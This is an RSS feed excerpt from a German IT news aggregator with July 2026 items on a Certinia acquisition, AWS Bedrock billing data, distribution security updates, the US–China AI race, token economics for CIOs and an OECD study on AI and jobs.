<guid isPermaLink="true">https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</guid>
<pubDate>Tue, 21 Jul 2026 17:30:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI-powered <a href="https://www.cio.com/article/2092137/certinia-bakes-ai-into-its-latest-professional-services-updates.html">professional services automation</a> provider <a href="https://www.cio.com/article/1258572/certinia-uses-ai-to-accelerate-finance-functions-for-service-companies.html">Certinia</a> has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, the company said.</p>



<p class="wp-block-paragraph">The acquisition will add real-time native context capture across applications such as Salesforce, G-Suite, Microsoft 365, Jira, Confluence, Zoom and others, and, unlike point agents, it “spans the full arc from proposal to delivery to renewal, so nothing has to be rebuilt, re-mapped, or re-trusted as work moves from sales to delivery to customer success,” Certinia said.</p>



<p class="wp-block-paragraph">New capabilities in Veda include automatic creation of proposal responses and statements of work, conversion of high-level business requirements into actionable blueprints, providing an on-demand virtual assistant to manage day-to-day tasks, performing scope scans and otherwise monitoring projects to proactively manage risk, and organizing delivery data and lessons learned into a searchable knowledge base for later use.</p>



<p class="wp-block-paragraph">“What excites me most is the combination,” <a href="https://www.linkedin.com/in/robertong8/" target="_blank" rel="noreferrer noopener">Robert Ong</a>, co-founder and CEO of Moonnox, now part of Certinia, said in a statement. “Moonnox’s ability to capture what happens in the room, paired with Certinia’s system of record and agentic capabilities for services operations, closes a gap neither of us could close alone. Together, we give services firms the foundation to capture that value, deliver with confidence, and navigate shifting their operating models into the future.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/thomas-randall" target="_blank" rel="noreferrer noopener">Thomas Randall</a>, research director at Info-Tech Research Group, said it’s a smart move for Certinia to acquire Moonnox. “The current solution is quite complex to use. What Moonnox offers for Certinia is a way for non-technical staff to navigate their system of record across unstructured data silos. I expect to see an increase in satisfaction for the user experience.”</p>



<p class="wp-block-paragraph">However, <a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, VP and principal analyst at Moor Insights &amp; Strategy, still has questions.</p>



<p class="wp-block-paragraph">“While this acquisition might increase service planning and delivery efficiencies in the short term, the real question will be how this combination will help firms with the fundamental shift AI and agents have thrust upon the services industry,” he pointed out. ”Unfortunately for services firms, agentic technologies have already reset client perceptions on internal work capacity, velocity, and cost. So, the proof point I’d like to see is beyond margin improvement and towards business transformation.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:18:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4199470/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Tuesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (capstone, fence-agents, gimp, glib2, hplip, httpd, jackson-annotations, jackson-core, jackson-databind, jackson-jaxrs-providers, and jackson-modules-base, libtiff, maven:3.8, pacemaker, python3.14, and webkit2gtk3), Debian (samba), Fedora (c-ares, d...]]></description>
<link>https://tsecurity.de/de/3683836/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683836/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 21 Jul 2026 15:27:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (capstone, fence-agents, gimp, glib2, hplip, httpd, jackson-annotations, jackson-core, jackson-databind, jackson-jaxrs-providers, and jackson-modules-base, libtiff, maven:3.8, pacemaker, python3.14, and webkit2gtk3), <b>Debian</b> (samba), <b>Fedora</b> (c-ares, dnsx, freerdp, gpsd, libreswan, libseccomp, libtiff, mingw-python-idna, mingw-python-pip, openssh, python-pillow, wget1, and wireshark), <b>Mageia</b> (golang, graphicsmagick, haveged, libssh2, nginx, nilfs-utils, perl-CGI-Session, perl-Imager, perl-JavaScript-Minifier-XS, php, php8.4, php8.5, python-nltk, sqlite3, and xmlstarlet), <b>Oracle</b> (.NET 10.0, .NET 9.0, container-tools:ol8, firefox, giflib, glibc, go-fdo-client, go-fdo-server, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, hplip, httpd, image-builder, kernel, libtiff, mod_http2, pacemaker, perl-DBI:1.641, perl-HTTP-Daemon, php:8.2, python-markdown, ruby4.0, systemd, and thunderbird), <b>Red Hat</b> (buildah, container-tools:rhel8, dracut, golang-github-openprinting-ipp-usb, libtiff, osbuild-composer, python-urllib3, python3.12-urllib3, python3.14-urllib3, and runc), <b>SUSE</b> (389-ds, chromedriver, gstreamer-plugins-bad, libreoffice, libsuricata8_0_6, podman, python311, and sssd), and <b>Ubuntu</b> (apache2, freerdp3, freetype, libde265, libxfont, linux, linux-gcp, linux-gcp-6.8, linux-gke, linux-gkeop, linux-realtime, linux-realtime-6.8, linux, linux-gcp, linux-gcp-fips, linux-gke, linux-gkeop, linux-hwe-5.15, linux-kvm, linux-lowlatency, linux-lowlatency-hwe-5.15, linux-realtime, linux-xilinx-zynqmp, linux, linux-gcp, linux-gke, linux-realtime, linux-gcp-6.17, linux-realtime-6.17, linux-gcp-fips, linux-hwe-7.0, linux-nvidia-tegra-5.15, linux-oem-7.0, nginx, php8.1, php8.3, php8.5, rlottie, sqlite3, and wget).]]></content:encoded>
</item>
<item>
<title><![CDATA[Headaches for Silicon Valley as China chips away at the US’s lead in the AI race]]></title>
<description><![CDATA[Google’s AI struggles scream trouble as new Chinese models (again) throw US tech dominance into questionHello, I’m Blake Montgomery, writing to you after a double-header feature of Christopher Nolan’s The Odyssey and the World Cup final. What a great Sunday. Today in tech, we’re discussing how Ch...]]></description>
<link>https://tsecurity.de/de/3683658/ai-nachrichten/headaches-for-silicon-valley-as-china-chips-away-at-the-uss-lead-in-the-ai-race/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683658/ai-nachrichten/headaches-for-silicon-valley-as-china-chips-away-at-the-uss-lead-in-the-ai-race/</guid>
<pubDate>Tue, 21 Jul 2026 14:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google’s AI struggles scream trouble as new Chinese models (again) throw US tech dominance into question</p><p>Hello, I’m Blake Montgomery, writing to you after a double-header feature of Christopher Nolan’s The Odyssey and the World Cup final. What a great Sunday. Today in tech, we’re discussing how China is chipping away at the US’s lead in the AI race and how Silicon Valley’s workers are taking action to protect their jobs from AI.</p><p><a href="https://www.theguardian.com/us-news/2026/jul/14/new-york-moratorium-ai-datacenters">New York becomes first state to impose one-year pause on new AI datacenters</a></p><p><a href="https://www.theguardian.com/us-news/2026/jul/15/trump-new-york-datacenter-moratorium">Trump rails against New York’s statewide datacenter moratorium</a></p><p><a href="https://www.theguardian.com/australia-news/2026/jul/16/albaneses-ai-blueprint-sparks-calls-for-datacentre-moratorium-until-new-regulations-in-place">Albanese’s AI blueprint sparks calls for datacentre moratorium until new regulations in place</a></p><p><a href="https://www.theguardian.com/fashion/2026/jul/17/adversarial-clothing-are-garments-designed-to-confuse-facial-recognition-systems-about-to-go-mainstream">‘Adversarial clothing’: are garments designed to confuse facial recognition systems about to go mainstream?</a></p><p><a href="https://www.theguardian.com/technology/2026/jul/14/ibm-shares-profit-drop-value">IBM loses quarter of its value as tech giant’s shares plunge and profits falter</a></p><p><a href="https://www.theguardian.com/media/2026/jul/15/teenagers-verdic-britain-social-media-curfew-ban-whats-the-point">‘What’s the point?’ Teenagers give their verdict on Britain’s social media curfew</a></p><p><a href="https://www.theguardian.com/technology/2026/jul/17/amazon-web-services-customers-trillion-dollar-bills-global-glitch">Amazon Web Services customers receive bills for up to $1.5tn after global glitch</a></p><p><a href="https://www.theguardian.com/technology/ng-interactive/2026/jul/16/justin-sun-trump-family-crypto">Trump made $1.4bn from crypto in one year. Is Justin Sun the man who helped him do it?</a></p> <a href="https://www.theguardian.com/technology/2026/jul/20/china-google-ai-race">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The token debate: What CIOs can learn from the laws of thermodynamics]]></title>
<description><![CDATA[What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?



What if it comes from applying principles that physicists have understood for more than a century?



According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justificat...]]></description>
<link>https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</guid>
<pubDate>Tue, 21 Jul 2026 14:03:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?</p>



<p class="wp-block-paragraph">What if it comes from applying principles that physicists have understood for more than a century?</p>



<p class="wp-block-paragraph">According to <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges">Gartner</a>, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?</p>



<p class="wp-block-paragraph">These are important operational questions. But they are not the strategic questions.</p>



<p class="wp-block-paragraph">I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.</p>



<p class="wp-block-paragraph">While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.</p>



<h2 class="wp-block-heading">Principle 1: Value is created through transformation</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#First_law">The 1<sup>st</sup> Law of Thermodynamics</a> tells us that energy cannot be created or destroyed. It can only be transformed.</p>



<p class="wp-block-paragraph">Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.</p>



<p class="wp-block-paragraph">The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”</p>



<p class="wp-block-paragraph">This leads to a new executive metric: return on tokens (ROT).</p>



<p class="wp-block-paragraph">Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.</p>



<p class="wp-block-paragraph">The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.</p>



<h2 class="wp-block-heading">Principle 2: Every transformation creates waste</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#Second_law">The 2nd Law of Thermodynamics</a> teaches us that every energy transformation introduces inefficiencies.</p>



<p class="wp-block-paragraph">Some energy inevitably becomes less useful for doing work.</p>



<p class="wp-block-paragraph">The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.</p>



<p class="wp-block-paragraph">Some are spent on:</p>



<ul class="wp-block-list">
<li>Repeated prompts</li>



<li>Oversized context windows</li>



<li>Redundant reasoning</li>



<li>Hallucinations requiring correction</li>



<li>Multiple agents performing the same work</li>



<li>Expensive models solving simple problems</li>
</ul>



<p class="wp-block-paragraph">Those tokens are not “lost.” They simply produce very little business value.</p>



<p class="wp-block-paragraph">I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.</p>



<h2 class="wp-block-heading">Principle 3: Useful work matters more than energy consumed</h2>



<p class="wp-block-paragraph">Thermodynamics introduces another important idea: <a href="https://en.wikipedia.org/wiki/Exergy">Exergy</a>.</p>



<p class="wp-block-paragraph">Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.</p>



<p class="wp-block-paragraph">The same is true for enterprise AI.</p>



<p class="wp-block-paragraph">Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.</p>



<p class="wp-block-paragraph">Borrowing this concept as a management analogy, I call this token exergy.</p>



<p class="wp-block-paragraph">Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:</p>



<ul class="wp-block-list">
<li>High token exergy means AI is solving important business problems.</li>



<li>Low token exergy means AI is generating activity without creating proportional enterprise value.</li>
</ul>



<p class="wp-block-paragraph">The distinction matters, because activity is not the same as impact.</p>



<h2 class="wp-block-heading">A new responsibility for CIOs</h2>



<p class="wp-block-paragraph">For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.</p>



<p class="wp-block-paragraph">These metrics remain important, but they tell only part of the story.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html?utm=hybrid_search">Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource.</a> This means that the next generation of CIO dashboards should answer different questions:</p>



<ul class="wp-block-list">
<li>What is our return on tokens?</li>



<li>Where is token entropy reducing our effectiveness?</li>



<li>How much token exergy are we generating?</li>



<li>Which AI initiatives produce the greatest business value?</li>



<li>Which use cases create the strongest competitive advantage?</li>
</ul>



<p class="wp-block-paragraph">These are no longer technology metrics. They are business metrics.</p>



<p class="wp-block-paragraph">The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.</p>



<p class="wp-block-paragraph">Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.</p>



<p class="wp-block-paragraph">That responsibility cannot be fulfilled by dashboards alone.</p>



<p class="wp-block-paragraph">It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. <a href="https://www.cio.com/article/4157977/micro-and-macro-agents-the-emerging-architecture-of-the-agentic-enterprise.html?utm=hybrid_search">Three-layer enterprise agentic architecture</a> Will enable this.</p>



<h2 class="wp-block-heading">The next competitive advantage</h2>



<p class="wp-block-paragraph">Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:</p>



<ul class="wp-block-list">
<li>Factories stopped measuring coal consumption and began measuring productivity.</li>



<li>Cloud computing evolved beyond server utilization to business agility.</li>



<li>Digital businesses measured customer acquisition costs and lifetime value.</li>
</ul>



<p class="wp-block-paragraph">Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.</p>



<p class="wp-block-paragraph">That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.</p>



<p class="wp-block-paragraph">Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. <a href="https://www.cio.com/article/4183263/the-ai-adoption-spree-is-over-time-to-focus-on-value.html?utm=hybrid_search">The AI adoption spending spree is over. Time to focus on value.</a></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OECD: Physical labor isn’t immune from AI disruptions]]></title>
<description><![CDATA[Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farmi...]]></description>
<link>https://tsecurity.de/de/3683551/it-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683551/it-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</guid>
<pubDate>Tue, 21 Jul 2026 13:34:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, <a href="https://www.oecd.org/en/publications/skills-in-the-ai-age_972bd15e-en.html" target="_blank" rel="noreferrer noopener">according to a recent study</a> by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.</p>



<p class="wp-block-paragraph">“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”</p>



<p class="wp-block-paragraph">The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles. </p>



<p class="wp-block-paragraph">OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.</p>



<p class="wp-block-paragraph">The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.  </p>



<p class="wp-block-paragraph">But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.</p>



<p class="wp-block-paragraph">“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.</p>



<p class="wp-block-paragraph">The effects of the AI boom are not always uniform across industries or regions. In a separate <a href="https://www.oecd.org/en/publications/oecd-employment-outlook-2026_7e710f54-en.html" target="_blank" rel="noreferrer noopener">2026 Employment Outlook study</a> released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations. </p>



<p class="wp-block-paragraph">Numerous research firms have said in recent years that <a href="https://www.computerworld.com/article/4151328/ai-threatens-jobs-that-can-be-unbundled-2.html">AI is driving short-term job losses</a>, though tech industry experts and analysts have argued AI will also create new careers and jobs as <a href="https://www.computerworld.com/article/4100257/mit-creates-an-ai-labor-index-as-agents-invade-human-economies.html">agentic AI takes over low-skilled work</a>. </p>



<p class="wp-block-paragraph">AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.</p>



<h2 class="wp-block-heading">In the US, AI blamed for June job losses</h2>



<p class="wp-block-paragraph">According to a <a href="https://www.challengergray.com/wp-content/uploads/2026/07/Challenger-Report-June2600986996.pdf" target="_blank" rel="noreferrer noopener">Challenger, Gray &amp; Christmas study</a> released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.</p>



<p class="wp-block-paragraph">“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”</p>



<p class="wp-block-paragraph">Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.</p>



<p class="wp-block-paragraph">AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.</p>



<p class="wp-block-paragraph">“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”</p>



<p class="wp-block-paragraph">While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A <a href="https://www.comptia.org/en/resources/research/tech-jobs-report/" target="_blank" rel="noreferrer noopener">report this month by CompTIA</a> put job listings with AI skills at around 500,000, which is close to double the number in January.</p>



<p class="wp-block-paragraph">“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.</p>



<p class="wp-block-paragraph">That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.</p>



<p class="wp-block-paragraph">That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
